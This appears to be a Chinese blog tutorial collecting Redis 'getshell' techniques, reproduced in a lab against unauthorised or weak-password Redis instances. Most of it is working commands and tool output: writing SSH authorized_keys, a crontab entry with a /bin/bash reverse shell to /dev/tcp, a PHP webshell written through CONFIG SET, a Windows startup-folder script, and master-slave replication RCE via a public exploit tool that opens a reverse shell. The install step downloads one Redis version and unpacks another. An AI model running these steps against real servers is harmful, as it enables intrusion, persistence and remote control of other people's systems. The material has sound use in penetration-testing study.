0%

redis getshell

redis

redis在目前的后端应用开发中经常用到,在前几年redis公网服务一扫一堆未授权应用,目前来看这种情况已经少很多了,但是还是存在弱口令的情况可以进入利用,接下来总结下常见redis getshell姿势。

安装启动

因为要复现主从复制,这个对版本是有要求的,所以没有直接用apt来安装,

1
2
3
4
$ wget http://download.redis.io/releases/redis-4.0.11.tar.gz
$ tar xzf redis-2.8.17.tar.gz
$ cd redis-2.8.17
$ make

安装完成之后redis启动需要加上一个参数,不然还得改一堆配置文件:

1
2
$ cd src
$ ./redis-server --protected-mode no

Windows

写开机自启动

在windows的这个目录下写入恶意内容即可让windows开启时执行该文件

1
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\

测试payload如下:

1
<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

Linux

写ssh公钥

本地先生成公私钥对,然后这里需要加上一些特殊处理,操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~/Desktop# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)?
root@kali:~/Desktop# cd /root/.ssh/
root@kali:~/.ssh# ll
总用量 20
drwx------ 2 root root 4096 7月 28 08:56 .
drwx------ 38 root root 4096 12月 8 04:29 ..
-rw------- 1 root root 2590 7月 28 08:47 id_rsa
-rw-r--r-- 1 root root 563 7月 28 08:47 id_rsa.pub
-rw-r--r-- 1 root root 666 9月 23 09:37 known_hosts
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
root@kali:~/.ssh# cat 1.txt



ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaDEglLHobHWDDOsdhLXXN/A2shGEmfIiKmamEsNDqeHsF073eK9PFScg3uZqF2KL9frswDim4991s8RmrQYnf0GAEZvMGj3/i1TgvTCfb4MQx3OxXxE2nGuBNUCf29yW3KnEPvVWrmVtE03zMo7EjaxtK/QxtUWmvXQdC951+NUh0p9szl6i9+uOFhulf5OTgk20T9e1kqfpjrzP/HWspYc32GmJfPCe+YWCZvd/YVEfbGitq9J25EJvoUEY4FGX16PBHCDf1qXe2KP/gsA16zeVPq9VPjR86APZGogfH+FOZuaDIHZBcstO4ZsDYZzpG63JPLr8e+6vhDxdnk2DDMXoVdDB7DoFPZ6EQVoorA5qizr2JcOTmGP2vDorG1ucqomp0eRWBotIyc7cemt5OhG3NhNq7Ex/FefagqCPx4lCtcWo0S00NIyBESjLLhQyPAkLf3BXouJ75nI/Hoj4v9s2+SQWSjavfDfSzM2v0IFiCb6lNfU/pbWabEN5kDWU= root@kali




将1.txt的内容写到redis里面

1
cat 1.txt |redis-cli -h 192.168.1.21 -p 6379 -x set crack

通过redis-cli连接到靶机的redis服务之后,如下:

1
2
3
4
5
6
192.168.1.21:6379> CONFIG SET dir /home/chen/.ssh
OK
192.168.1.21:6379> CONFIG set dbfilename authorized_keys
OK
192.168.1.21:6379> SAVE
OK

本机通过-i指定私钥进行连接即可:

1
root@kali:~/.ssh# ssh -i id_rsa chen@192.168.1.21

这里我测试的时候因为靶机ubuntu的root用户被我禁掉了,写了ssh密钥也一样无法连接,所以最后换了个其他的账号,在实际环境中root用户的ssh目录也有极大可能被删除或根本不存在,这种就可以尝试通过其他手段收集到home目录的实际可用用户再进行写入。

crontab

写计划任务来反弹shell(本地ubuntu测试没有成功)

1
2
3
root@kali:~/Desktop# cat 2.txt 
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.91/4444 0>&1
root@kali:~/Desktop# cat lala.txt | redis-cli -h 10.133.1.79 -p 6379 -x set key

redis连接后写入即可:

1
2
3
4
5
6
192.168.1.21:6379> config set dir /var/spool/cron/
OK
192.168.1.21:6379> config set dbfilename root
OK
192.168.1.21:6379> SAVE
OK

这种方式在我ubuntu测试发现执行不了,看了日志是执行报错Syntax error: Bad fd number 所以这里感觉跟ubuntu的dash有一定的关系,测试环境下可以直接强行把 /bin/sh 的软链接换下即可: sudo ln -s -f bash /bin/sh ,除此之外还有写的crontab文件的权限问题;格式问题等等,所以实际环境如果是ubuntu的话,crontab这条路基本就被堵死了。

webshell

已知web的绝对路径的时候可以直接写webshell,但是这里会一同写入部分脏数据,结合具体环境需要确保脏数据不影响正常解析:

1
2
3
4
5
6
7
8
9
root@kali:~/Desktop# redis-cli -h 192.168.1.21 -p 6379 --raw
192.168.1.21:6379> config set dir /var/www/html/
OK
192.168.1.21:6379> config set dbfilename webshell.php
OK
192.168.1.21:6379> set key "<?php system(\"whoami\")?>"
OK
192.168.1.21:6379> SAVE
OK

主从复制

现在很多公司的架构开始组件化,很多时候找到一个redis也可能只是在一个单独的docker环境,缺少前面我们说的ssh、crontab和web服务,这种场景下要实现getshell就只能用别的办法,然后就有大佬研究出了基于主从复制进行getshell的操作了。

主从模式是redis为了缓解单台服务器的I/O性能瓶颈而提出的一种方案, 使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而主机只负责写,从机只负责读,通过读写分离就可以更高效的实现I/O,算是通过牺牲空间来换取时间。

对于相关的技术原理可以参考:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

这个已经有成熟利用工具了,py可以下载这个:Ridter/redis-rce,exp.so到这里下载编译即可:n0b0dyCN/redis-rogue-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~/Documents/exploit/redis-rce# python3 redis-rce.py -r 192.168.1.21 -L 192.168.1.91 -f exp.so

█▄▄▄▄ ▄███▄ ██▄ ▄█ ▄▄▄▄▄ █▄▄▄▄ ▄█▄ ▄███▄
█ ▄▀ █▀ ▀ █ █ ██ █ ▀▄ █ ▄▀ █▀ ▀▄ █▀ ▀
█▀▀▌ ██▄▄ █ █ ██ ▄ ▀▀▀▀▄ █▀▀▌ █ ▀ ██▄▄
█ █ █▄ ▄▀ █ █ ▐█ ▀▄▄▄▄▀ █ █ █▄ ▄▀ █▄ ▄▀
█ ▀███▀ ███▀ ▐ █ ▀███▀ ▀███▀
▀ ▀


[*] Connecting to 192.168.1.21:6379...
[*] Sending SLAVEOF command to server
[+] Accepted connection from 192.168.1.21:6379
[*] Setting filename
[+] Accepted connection from 192.168.1.21:6379
[*] Start listening on 192.168.1.91:21000
[*] Tring to run payload
[+] Accepted connection from 192.168.1.21:49148
[*] Closing rogue server...

[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: r
[*] Open reverse shell...
[*] Reverse server address: 192.168.1.91
[*] Reverse server port: 21000
[+] Reverse shell payload sent.
[*] Check at 192.168.1.91:21000
[*] Clean up..

本地nc监听即可获取到反弹shell

lua script

https://paper.seebug.org/1169/#lua-rce

在这里有记载lua的getshell方法,不过看了下原文分析这个跟不同版本不同环境之间的偏移量有很大的差别,直接拿exp来跑可能不太行,先不深入看了。

总结

其实现在随着企业对于redis的管理规范起来之后公网想找到目标的未授权或者弱密码redis已经比较难了,之前一些ssrf+gopher来利用的场景就更少见了,不过进到内网利用这个进行横向倒还算常见,总结下。